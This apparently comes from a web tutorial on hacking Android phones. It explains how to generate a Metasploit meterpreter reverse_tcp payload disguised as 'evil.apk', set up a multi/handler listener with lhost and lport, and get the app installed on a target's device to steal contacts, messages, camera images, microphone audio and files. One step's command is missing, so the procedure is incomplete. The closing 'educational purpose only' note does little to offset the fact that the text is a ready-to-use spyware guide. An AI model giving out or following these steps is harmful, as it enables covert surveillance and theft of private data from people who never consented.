There are,in fact, no user-friendly softwares out there that can simply hack any Android device on the go and retrieve the desired information. So, in order to achieve this we are going to take the coding way(though there is not much code), and we are going to use Linux operating system, Kali Linux and Ubuntu are recommended ones.

What will you need:
What one can do with this hack:
- Get contacts (and all theirs informations)
- Take a picture from the camera
- Stream sound from microphone (or other sources..)
- Get all messages
- Streaming video (for activity based client only)
- Access file manager and many more…
The Main Procedure:
If you don’t know your ip address, simply open another terminal and type “ifconfig” without quotes. You can see your ip address beside wlan0 it would be something like 192.168.x.x (Note: you need to do this only when you are connected to Internet).
Step2: Now the deploy application evil.apk will be automatically generated. You can find it in home folder.
Step3: Now open another terminal and type the below code.
It takes sometime for metasploit to download and load its contents. So be patient!
Step4: When metasploit successfully loaded type the below code.
> use exploit/multi/handler
> set payload android/meterpreter/reverse_tcp
> set lhost 192.168.45.4 (the same ip address you entered in step1).
> set lport 8080 (the same port you used in step1).
Now the console starts listening to 192.168.45.4 at port 8080.
Step5: Now all you need to do is, copy the evil.apk from home folder to the target device.
Step6: Install the evil.apk on the target device and when the device is connected to the internet open the app.
Note: Accessing other’s device without their permission is completely illegal. This tutorial is for educational purpose only and never use it for any illegal purpose.
